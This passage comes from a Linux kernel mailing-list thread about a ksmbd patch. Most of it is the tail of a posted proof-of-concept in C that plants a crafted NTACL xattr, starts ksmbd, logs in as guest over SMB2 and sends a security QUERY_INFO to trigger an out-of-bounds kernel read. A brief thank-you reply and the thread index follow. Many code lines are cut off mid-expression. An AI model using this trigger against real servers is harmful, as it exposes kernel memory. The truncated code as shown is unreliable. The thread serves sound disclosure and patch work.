    int l = (h[1]<<16)|(h[2]<<8)|h[3]; if (l > bs) return -1;
    int t = 0;
    while (t < l) { int n = recv(s, (char*)b+t, l-t, 0); if (n<=0) return -1; }
    return l;
}
static void mkhdr(struct smb2_header *h, uint16_t cmd) {
    memset(h, 0, 64);
    h->protocol_id[0]=0xFE; h->protocol_id[1]='S'; h->protocol_id[2]='M'; h->p;
    h->structure_size=64; h->command=cmd; h->credit_request=31;
    h->message_id=msg_id++; h->session_id=session_id; h->tree_id=tree_id_val;
}

static int negotiate(int s) {
    uint8_t buf[256]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_NEGOTIATE);
    uint8_t *b=buf+64;
    *(uint16_t*)(b)=36; *(uint16_t*)(b+2)=3; *(uint16_t*)(b+4)=1;
    *(uint32_t*)(b+12)=0xdeadbeef;
    *(uint16_t*)(b+36)=0x0202; *(uint16_t*)(b+38)=0x0210; *(uint16_t*)(b+40)=0;
    if (smb_send(s,buf,64+42)<0) return -1;
    uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    return ((struct smb2_header*)r)->status ? -1 : 0;
}

static int session_setup(int s) {
    uint8_t buf[512]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_SESSION_SETUP);
    uint8_t *b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1;
    uint8_t nt[32]; memset(nt,0,32);
    memcpy(nt,"NTLMSSP",8); *(uint32_t*)(nt+8)=1; *(uint32_t*)(nt+12)=0x600082;
    uint16_t soff=64+24;
    *(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=32;
    memcpy(buf+soff,nt,32);
    if (smb_send(s,buf,soff+32)<0) return -1;
    uint8_t r[4096]; int rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1;
    struct smb2_header *rh=(void*)r;
    session_id=rh->session_id;
    if (rh->status!=0xc0000016) return -1;
    /* Auth phase */
    memset(buf,0,sizeof(buf)); mkhdr((void*)buf,SMB2_SESSION_SETUP);
    ((struct smb2_header*)buf)->session_id=session_id;
    b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1;
    uint8_t au[128]; memset(au,0,128);
    memcpy(au,"NTLMSSP",8); *(uint32_t*)(au+8)=3;
    int voff=72;
    uint8_t uname[]={'g',0,'u',0,'e',0,'s',0,'t',0}; int uname_len=10;
    *(uint16_t*)(au+12)=0; *(uint16_t*)(au+14)=0; *(uint32_t*)(au+16)=voff;
    *(uint16_t*)(au+20)=0; *(uint16_t*)(au+22)=0; *(uint32_t*)(au+24)=voff;
    *(uint16_t*)(au+28)=0; *(uint16_t*)(au+30)=0; *(uint32_t*)(au+32)=voff;
    *(uint16_t*)(au+36)=uname_len; *(uint16_t*)(au+38)=uname_len; *(uint32_t*);
    memcpy(au+voff,uname,uname_len);
    *(uint16_t*)(au+44)=0; *(uint16_t*)(au+46)=0; *(uint32_t*)(au+48)=voff+una;
    *(uint16_t*)(au+52)=0; *(uint16_t*)(au+54)=0; *(uint32_t*)(au+56)=voff+una;
    *(uint32_t*)(au+60)=0x60008215;
    int aulen=voff+uname_len;
    soff=64+24;
    *(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=aulen;
    memcpy(buf+soff,au,aulen);
    if (smb_send(s,buf,soff+aulen)<0) return -1;
    rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1;
    rh=(void*)r;
    if (rh->status==0) { session_id=rh->session_id; return 0; }
    return -1;
}

static int tree_connect(int s) {
    uint8_t buf[256]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_TREE_CONNECT);
    uint8_t *b=buf+64; *(uint16_t*)b=9;
    char pa[]="\\\\127.0.0.1\\test";
    uint8_t pu[128]; int pl=0;
    for (int i=0; pa[i]; i++) { pu[pl++]=pa[i]; pu[pl++]=0; }
    uint16_t po=64+8;
    *(uint16_t*)(b+4)=po; *(uint16_t*)(b+6)=pl;
    memcpy(buf+po,pu,pl);
    if (smb_send(s,buf,po+pl)<0) return -1;
    uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    struct smb2_header *rh=(void*)r;
    if (rh->status) return -1;
    tree_id_val=rh->tree_id; return 0;
}

static int create_file(int s, const char *fn) {
    uint8_t buf[512]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_CREATE);
    uint8_t *b=buf+64; *(uint16_t*)b=57;
    *(uint32_t*)(b+24)=0x001F01FF; *(uint32_t*)(b+28)=0x80;
    *(uint32_t*)(b+32)=0x07; *(uint32_t*)(b+36)=0x05;
    uint8_t nu[256]; int nl=0;
    for (int i=0; fn[i]; i++) { nu[nl++]=fn[i]; nu[nl++]=0; }
    uint16_t no=64+56;
    *(uint16_t*)(b+44)=no; *(uint16_t*)(b+46)=nl;
    memcpy(buf+no,nu,nl); int tl=no+nl; if (tl<64+57) tl=64+57;
    if (smb_send(s,buf,tl)<0) return -1;
    uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    struct smb2_header *rh=(void*)r;
    if (rh->status) return -1;
    memcpy(file_id, r+64+64, 16); return 0;
}

static int query_info_sec(int s) {
    uint8_t buf[256]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_QUERY_INFO);
    uint8_t *b=buf+64;
    *(uint16_t*)b=41; *(uint8_t*)(b+2)=0x03;
    *(uint32_t*)(b+4)=65536;
    *(uint32_t*)(b+16)=0x07; /* OWNER|GROUP|DACL */
    memcpy(b+24, file_id, 16);
    if (smb_send(s,buf,64+41)<0) return -1;
    uint8_t r[8192]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    return 0;
}

/* ============ Main ============ */
int main(void) {

    mkdir(SHARE_PATH, 0777);
    const char *filepath = "/tmp/smbshare/testfile.txt";
    int fd = open(filepath, O_CREAT|O_WRONLY|O_TRUNC, 0755);
    if (fd >= 0) { write(fd, "test", 4); close(fd); }
    chmod(filepath, 0755);

    /* Set POSIX ACL: USER_OBJ(rwx), USER(7777,rwx), GROUP_OBJ(rx), MASK(rwx),/
    uint8_t posix_acl_xattr[4 + 5*8];
    memset(posix_acl_xattr, 0, sizeof(posix_acl_xattr));
    *(uint32_t*)(posix_acl_xattr) = 2;
    *(uint16_t*)(posix_acl_xattr+4)=0x01; *(uint16_t*)(posix_acl_xattr+6)=7; *;
    *(uint16_t*)(posix_acl_xattr+12)=0x02; *(uint16_t*)(posix_acl_xattr+14)=7;;
    *(uint16_t*)(posix_acl_xattr+20)=0x04; *(uint16_t*)(posix_acl_xattr+22)=5;;
    *(uint16_t*)(posix_acl_xattr+28)=0x10; *(uint16_t*)(posix_acl_xattr+30)=7;;
    *(uint16_t*)(posix_acl_xattr+36)=0x20; *(uint16_t*)(posix_acl_xattr+38)=5;;

    if (setxattr(filepath, "system.posix_acl_access", posix_acl_xattr, sizeof({
        perror("setxattr posix_acl"); return 1;
    }

    struct stat st; stat(filepath, &st);

    /* Compute NDR POSIX ACL hash */
    struct ndr_buf acl_ndr = {.data=calloc(1,1024), .offset=0, .capacity=1024};
    struct acl_entry entries[5] = {
        {SMB_ACL_USER_OBJ, 0, 7}, {SMB_ACL_USER, 7777, 7},
        {SMB_ACL_GROUP_OBJ, 0, 5}, {SMB_ACL_MASK, 0, 7}, {SMB_ACL_OTHER, 0, 5},
    };
    ndr_encode_posix_acl_fn(&acl_ndr, st.st_uid, st.st_gid, st.st_mode, entrie;

    uint8_t posix_hash[64]; memset(posix_hash, 0, 64);
    sha256(acl_ndr.data, acl_ndr.offset, posix_hash);

    /* Build crafted SD and adjust offsets */
    uint8_t sd_buf[2048];
    int sd_size = build_crafted_sd(sd_buf, sizeof(sd_buf));
    /* ksmbd_vfs_get_sd_xattr() subtracts NDR_NTSD_OFFSETOF back off on read */
    *(uint32_t*)(sd_buf+16) += NDR_NTSD_OFFSETOF;

    uint8_t sd_hash[64]; memset(sd_hash, 0, 64);
    sha256(sd_buf, sd_size, sd_hash);

    /* Encode NDR v4 NTACL and write xattr */
    struct ndr_buf ntacl = {.data=calloc(1,4096), .offset=0, .capacity=4096};
    ndr_encode_v4_ntacl_fn(&ntacl, sd_hash, posix_hash, sd_buf, sd_size);

    if (setxattr(filepath, "security.NTACL", ntacl.data, ntacl.offset, 0) < 0){
        perror("setxattr security.NTACL"); return 1;
    }
    free(acl_ndr.data); free(ntacl.data);

    /* Setup netlink IPC */
    nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (nl_sock < 0) { perror("nlsock"); return 1; }
    struct sockaddr_nl sa = {.nl_family = AF_NETLINK, .nl_pid = getpid()};
    if (bind(nl_sock, (void*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1;}
    nl_family_id = resolve_genl_family(nl_sock, KSMBD_GENL_NAME);
    if ((int)nl_family_id <= 0) { fprintf(stderr, "No ksmbd genl\n"); return 1}
    if (nl_mcast_grp > 0)
        setsockopt(nl_sock, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &nl_mcast_grp;

    pthread_t ipc_tid;
    pthread_create(&ipc_tid, NULL, ipc_thread, NULL);

    /* Start ksmbd */
    struct ksmbd_startup_request req; memset(&req, 0, sizeof(req));
    strcpy((char*)req.min_prot,"SMB2_10"); strcpy((char*)req.max_prot,"SMB3_11;
    strcpy((char*)req.netbios_name,"TEST"); strcpy((char*)req.work_group,"WG");
    strcpy((char*)req.server_string,"t");
    req.tcp_port=445; req.ipc_timeout=60; req.file_max=10000;
    req.smb2_max_write=65536; req.smb2_max_read=65536; req.smb2_max_trans=6553;
    req.sub_auth[0]=1; req.sub_auth[1]=2; req.sub_auth[2]=3;
    req.smb2_max_credits=8192; req.max_connections=128;
    nl_send(nl_sock, nl_family_id, KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_STARTI;

    /* Connect to ksmbd */
    int ss = -1;
    for (int i = 0; i < 30; i++) {
        ss = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in sv = {.sin_family=AF_INET, .sin_port=htons(445), .s;
        if (connect(ss, (void*)&sv, sizeof(sv)) == 0) break;
        close(ss); ss = -1; usleep(500000);
    }
    if (ss < 0) { fprintf(stderr, "Cannot connect\n"); return 1; }

    if (negotiate(ss)) goto end;
    if (session_setup(ss)) goto end;
    if (tree_connect(ss)) goto end;
    if (create_file(ss, "testfile.txt")) goto end;

    /* One QUERY_INFO(SecInfo=DACL) is enough; the read is deterministic. */
    printf("[*] Triggering OOB read...\n"); fflush(stdout);
    query_info_sec(ss);
    usleep(500000);

end:
    close(ss); daemon_running = 0; close(nl_sock); sleep(1);
    return 0;}
```


Best,
Xiang
> --
> ChenXiaoSong <chenxiaosong@chenxiaosong.com>
> Chinese Homepage: https://chenxiaosong.com
> English Homepage: https://chenxiaosong.com/en
>

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
  2026-07-25 20:57     ` Xiang Mei
@ 2026-07-26  1:01       ` ChenXiaoSong
  0 siblings, 0 replies; 6+ messages in thread
From: ChenXiaoSong @ 2026-07-26  1:01 UTC (permalink / raw)
  To: Xiang Mei
  Cc: Namjae Jeon, Steve French, Sergey Senozhatsky, Tom Talpey,
	linux-cifs, linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
	AutonomousCodeSecurity, tgopinath, kys

Thank you for sharing the poc.

在 2026/7/26 4:57, Xiang Mei 写道:
> If you are still interested in the poc, here is the poc we triggered
> the bug with:

-- 
ChenXiaoSong <chenxiaosong@chenxiaosong.com>
Chinese Homepage: https://chenxiaosong.com
English Homepage: https://chenxiaosong.com/en


^ permalink raw reply	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-07-26  1:02 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-22 23:59 [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl Xiang Mei (Microsoft)
2026-07-23  0:19 ` Namjae Jeon
2026-07-24  7:09   ` ChenXiaoSong
2026-07-25 20:57     ` Xiang Mei
2026-07-26  1:01       ` ChenXiaoSong
2026-07-25 20:44   ` Xiang Mei

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.